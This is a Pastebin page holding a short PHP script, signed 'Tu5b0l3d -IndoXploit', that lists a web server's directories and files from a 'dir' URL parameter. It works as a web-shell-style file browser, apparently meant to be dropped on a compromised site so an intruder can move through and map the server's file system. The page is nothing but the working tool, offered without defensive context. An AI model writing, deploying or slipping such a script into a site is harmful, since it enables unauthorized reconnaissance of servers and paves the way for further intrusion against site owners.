Advertisement
Tu5b0l3d

dir

Mar 25th, 2016
528
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.69 KB | None | 0 0
  1. <?php
  2. //Tu5b0l3d -IndoXploit
  3.  
  4. function pecah($a){
  5. $b = explode("/", $a);
  6. return $b;
  7. }
  8.  
  9. if($_GET['dir'] != ""){
  10. $a = getcwd();
  11. $b = pecah($a);
  12. $file = $_GET['dir'];
  13. preg_match('/\$b\[(.*?)\]/', $file, $berapa);
  14.     $berapa = $berapa[1];
  15. $a = '';
  16. $arr = array_slice($b, 1, $berapa);
  17. foreach($arr as $ar){
  18.     $a .= "/$ar";
  19. }
  20. $b = pecah($a);
  21. $b_count = count($b);
  22. for($i=0;$i<$b_count;$i++){
  23.     echo "<a href=?dir=\$b[$i]>$b[$i]/</a>";
  24. }
  25. foreach(scandir($a) as $dir){
  26.     echo "$dir<br>";
  27. }
  28. }
  29. else{
  30. $a = getcwd();
  31. $b = pecah($a);
  32. $b_count = count($b);
  33. for($i=0;$i<$b_count;$i++){
  34.     echo "<a href=?dir=\$b[$i]>$b[$i]/</a>";
  35. }
  36.     foreach(scandir($a) as $dir){
  37.     echo "$dir<br>";
  38. }
  39. }
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement